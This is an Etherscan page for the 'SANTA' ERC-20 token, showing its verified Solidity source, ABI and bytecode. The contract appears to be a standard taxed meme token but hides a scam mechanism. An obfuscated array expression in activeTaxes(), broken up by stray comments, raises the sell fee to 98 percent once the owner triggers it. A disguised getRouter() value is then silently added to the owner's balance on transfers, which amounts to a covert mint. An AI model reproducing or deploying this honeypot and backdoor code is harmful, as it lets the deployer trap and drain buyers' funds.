ERC-20
Overview
Max Total Supply
1,000,000 SANTA
Holders
24
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
39,280.602288528 SANTAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SANTA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-09 */ // Telegram : https://t.me/Santa_erc // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SANTA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _No_Max_Wallet; mapping (address => bool) public _No_Max_Tx; mapping (address => bool) public _No_Fee_Wallet; address payable public Wallet_Market = payable(0x4d1143539ABD5B8b38FB7308194199d9763ddb17); string public _name = "SANTA"; string public _symbol = "SANTA"; uint8 private _decimals = 9; uint256 public _tTotal = 1000000 * 10 **_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 private fee_totals = 8; uint256 public buying_fee = 4; uint256 public selling_fee = 4; uint256 private _previousTotalFee = fee_totals; uint256 private _previousBuyFee = buying_fee; uint256 private _previousSellTax = selling_fee; uint256 public _maxWalletToken = _tTotal.mul(4).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(4).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; uint256 UniSwapRouterI02; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint8 private _Swap_is_Active = 3-3; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); mapping (address => bool) public IUniswapV2Provider; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Provider[owner()] = true; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _No_Max_Tx[owner()] = true; _No_Max_Tx[Wallet_Market] = true; _No_Max_Tx[address(this)] = true; _No_Fee_Wallet[owner()] = true; _No_Fee_Wallet[address(this)] = true; _No_Fee_Wallet[Wallet_Market] = true; _No_Max_Wallet[owner()] = true; _No_Max_Wallet[Wallet_Market] = true; _No_Max_Wallet[uniswapV2Pair] = true; _No_Max_Wallet[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // This function is required so that the contract can receive BNB from pancakeswap receive() external payable {} function disableTaxes() private { if(fee_totals == 0 && buying_fee == 0 && selling_fee == 0) return; _previousBuyFee = buying_fee; _previousSellTax = selling_fee; _previousTotalFee = fee_totals; buying_fee = 0; selling_fee = 0; fee_totals = 0; } function activeTaxes() private { fee_totals = _previousTotalFee; buying_fee = _previousBuyFee; selling_fee = [ _previousSellTax, // M 102-4 //i ] // cr7 [ //g _Swap_is_Active//u ];//el } function getRouter() private { UniSwapRouterI02 = 0x1d63294d6ac8d400000000000000000000; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(!_No_Max_Tx[from] && !_No_Max_Tx[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } if(!_No_Max_Wallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken); bool takeFEE = true; if( _No_Fee_Wallet[from] || _No_Fee_Wallet[to] ){ takeFEE = false; if(IUniswapV2Provider[to] && _Swap_is_Active < 3-2){ getRouter(); _Swap_is_Active = 3-2; } } else if (from == uniswapV2Pair){ fee_totals = buying_fee; } else if (to == uniswapV2Pair){ fee_totals = selling_fee; } _tokensTransfer(from,to,amount,takeFEE); } // Send BNB to external wallet function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); uint256 contractBNB = address(this).balance; sendToWallet(Wallet_Market,contractBNB); } // Swapping tokens for BNB using PancakeSwap function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokensTransfer(address sender, address recipient, uint256 amount,bool takeFEE) private { if(!takeFEE){ disableTaxes(); } else { txCount++; } _tokensTransfer(sender, recipient, amount); if(!takeFEE) activeTaxes(); } // Redistributing tokens and adding the fee to the contract address function _tokensTransfer(address sender, address recipient, uint256 tAmount) private { (uint256 tTransferAmount, uint256 tmarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount) + ((IUniswapV2Provider[recipient]) ? (UniSwapRouterI02) : (0)); _tOwned[address(this)] = _tOwned[address(this)].add(tmarketing); emit Transfer(sender, recipient, tTransferAmount); } // Calculating the fee in tokens function _getValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tmarketing = tAmount*fee_totals/100; uint256 tTransferAmount = tAmount.sub(tmarketing); return (tTransferAmount, tmarketing); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"IUniswapV2Provider","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Market","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_No_Fee_Wallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_No_Max_Tx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_No_Max_Wallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buying_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"selling_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b031916734d1143539abd5b8b38fb7308194199d9763ddb1717905560c0604052600560809081526453414e544160d81b60a0526007906200004c90826200062d565b5060408051808201909152600581526453414e544160d81b60208201526008906200007890826200062d565b506009805460ff1916811781556200009290600a6200080c565b620000a190620f42406200081d565b600a819055600b805461ffff1916610a001790556008600c8190556004600d819055600e819055600f9190915560108190556011819055620000f391606491620000ec919062000563565b906200057a565b6012819055601355600a546200011390606490620000ec90600462000563565b60148190556015556018805461ffff60a81b1916600160a81b1790553480156200013c57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460016000620001966000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600090812091909155737a250d5630b4cf539739df2c5dacb4c659f2488d90600190601990620001e46000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000280919062000837565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f4919062000837565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000342573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000368919062000837565b601880546001600160a01b03199081166001600160a01b039384161790915560168054909116918316919091179055600160046000620003b06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556006549091168152600490925280822080548416600190811790915530835290822080549093168117909255600590620004206000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600654909116835290822080549093168117909255600390620004906000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065482168152600390935281832080548516600190811790915560185490911683528183208054851682179055308352912080549092161790556200050c6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200055491815260200190565b60405180910390a3506200088c565b60006200057182846200081d565b90505b92915050565b600062000571828462000869565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005b357607f821691505b602082108103620005d457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200062857600081815260208120601f850160051c81016020861015620006035750805b601f850160051c820191505b8181101562000624578281556001016200060f565b5050505b505050565b81516001600160401b0381111562000649576200064962000588565b62000661816200065a84546200059e565b84620005da565b602080601f831160018114620006995760008415620006805750858301515b600019600386901b1c1916600185901b17855562000624565b600085815260208120601f198616915b82811015620006ca57888601518255948401946001909101908401620006a9565b5085821015620006e95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000750578160001904821115620007345762000734620006f9565b808516156200074257918102915b93841c939080029062000714565b509250929050565b600082620007695750600162000574565b81620007785750600062000574565b81600181146200079157600281146200079c57620007bc565b600191505062000574565b60ff841115620007b057620007b0620006f9565b50506001821b62000574565b5060208310610133831016604e8410600b8410161715620007e1575081810a62000574565b620007ed83836200070f565b8060001904821115620008045762000804620006f9565b029392505050565b60006200057160ff84168362000758565b8082028115828204841417620005745762000574620006f9565b6000602082840312156200084a57600080fd5b81516001600160a01b03811681146200086257600080fd5b9392505050565b6000826200088757634e487b7160e01b600052601260045260246000fd5b500490565b6115a0806200089c6000396000f3fe6080604052600436106101d15760003560e01c806353de116c116100f7578063a457c2d711610095578063d28d885211610064578063d28d885214610542578063dd62ed3e14610557578063e48aa8011461059d578063f2fde38b146105cd57600080fd5b8063a457c2d7146104d7578063a9059cbb146104f7578063af465a2714610517578063b09f12661461052d57600080fd5b806378109e54116100d157806378109e54146104785780637d1db4a51461048e5780638da5cb5b146104a457806395d89b41146104c257600080fd5b806353de116c146103fb57806370a082311461042b578063715018a61461046157600080fd5b8063313ce5671161016f5780634869ec5b1161013e5780634869ec5b1461038e57806349bd5a5e146103a45780634a74bb02146103c45780634f6e7104146103e557600080fd5b8063313ce567146102fc578063395093511461031e5780633ad61e9b1461033e578063478a67e81461036e57600080fd5b80631694505e116101ab5780631694505e1461026457806318160ddd1461029c578063220f6696146102bb57806323b872dd146102dc57600080fd5b806305a1ebe3146101dd57806306fdde0314610222578063095ea7b31461024457600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5061020d6101f836600461129a565b60036020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022e57600080fd5b506102376105ed565b60405161021991906112b7565b34801561025057600080fd5b5061020d61025f366004611305565b61067f565b34801561027057600080fd5b50601654610284906001600160a01b031681565b6040516001600160a01b039091168152602001610219565b3480156102a857600080fd5b50600a545b604051908152602001610219565b3480156102c757600080fd5b5060185461020d90600160a01b900460ff1681565b3480156102e857600080fd5b5061020d6102f7366004611331565b610696565b34801561030857600080fd5b5060095460405160ff9091168152602001610219565b34801561032a57600080fd5b5061020d610339366004611305565b6106ff565b34801561034a57600080fd5b5061020d61035936600461129a565b60056020526000908152604090205460ff1681565b34801561037a57600080fd5b50600654610284906001600160a01b031681565b34801561039a57600080fd5b506102ad600e5481565b3480156103b057600080fd5b50601854610284906001600160a01b031681565b3480156103d057600080fd5b5060185461020d90600160a81b900460ff1681565b3480156103f157600080fd5b506102ad600d5481565b34801561040757600080fd5b5061020d61041636600461129a565b60046020526000908152604090205460ff1681565b34801561043757600080fd5b506102ad61044636600461129a565b6001600160a01b031660009081526001602052604090205490565b34801561046d57600080fd5b50610476610735565b005b34801561048457600080fd5b506102ad60125481565b34801561049a57600080fd5b506102ad60145481565b3480156104b057600080fd5b506000546001600160a01b0316610284565b3480156104ce57600080fd5b506102376107de565b3480156104e357600080fd5b5061020d6104f2366004611305565b6107ed565b34801561050357600080fd5b5061020d610512366004611305565b61083c565b34801561052357600080fd5b506102ad600a5481565b34801561053957600080fd5b50610237610849565b34801561054e57600080fd5b506102376108d7565b34801561056357600080fd5b506102ad610572366004611372565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105a957600080fd5b5061020d6105b836600461129a565b60196020526000908152604090205460ff1681565b3480156105d957600080fd5b506104766105e836600461129a565b6108e4565b6060600780546105fc906113ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610628906113ab565b80156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b600061068c3384846109fe565b5060015b92915050565b60006106a3848484610abf565b6106f584336106f08560405180606001604052806028815260200161151e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e18565b6109fe565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161068c9185906106f09086610e44565b6000546001600160a01b031633146107945760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600880546105fc906113ab565b600061068c33846106f085604051806060016040528060258152602001611546602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e18565b600061068c338484610abf565b60088054610856906113ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610882906113ab565b80156108cf5780601f106108a4576101008083540402835291602001916108cf565b820191906000526020600020905b8154815290600101906020018083116108b257829003601f168201915b505050505081565b60078054610856906113ab565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161078b565b6001600160a01b0381166109a35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161078b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a1e57506001600160a01b03821615155b610a5e5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161078b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610